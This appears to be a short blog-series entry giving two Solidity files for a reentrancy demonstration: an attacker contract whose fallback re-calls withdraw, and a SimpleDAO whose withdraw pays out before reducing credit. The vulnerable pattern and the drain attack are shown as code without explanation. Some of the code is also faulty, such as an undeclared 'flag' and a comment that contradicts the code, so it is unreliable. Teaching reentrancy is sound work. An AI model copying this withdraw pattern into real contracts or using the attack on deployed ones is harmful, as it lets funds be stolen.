Day 15 of 20 Days Blog series.

reentrancy.sol

import "./SimpleDAO.sol";


contract attacker{

    SimpleDAO DAO = new SimpleDAO();	// address of already deployed DAO contract
    address a = address(DAO);	
		
	function() public payable{
	  if(flag)       DAO.withdraw(DAO.retbalance());
	}
	
}

simpleDAO.sol

contract SimpleDAO {
    mapping (address => uint) public credit;
    
    function() public payable{
        
    }
    
    function deposit(uint256 _amount) payable public{
        credit[msg.sender] += _amount;
    }
        
    function withdraw(uint amount) public{
        if (credit[msg.sender]>= amount) {
          (msg.sender.call.value(amount)());
          credit[msg.sender]-=amount;
        }
    }  
    
    function queryCredit(address to) view public returns(uint){
        return credit[to];
    }
        
    function retbalance() public returns(uint256 _A){
        return address(this).balance;
    }
    
}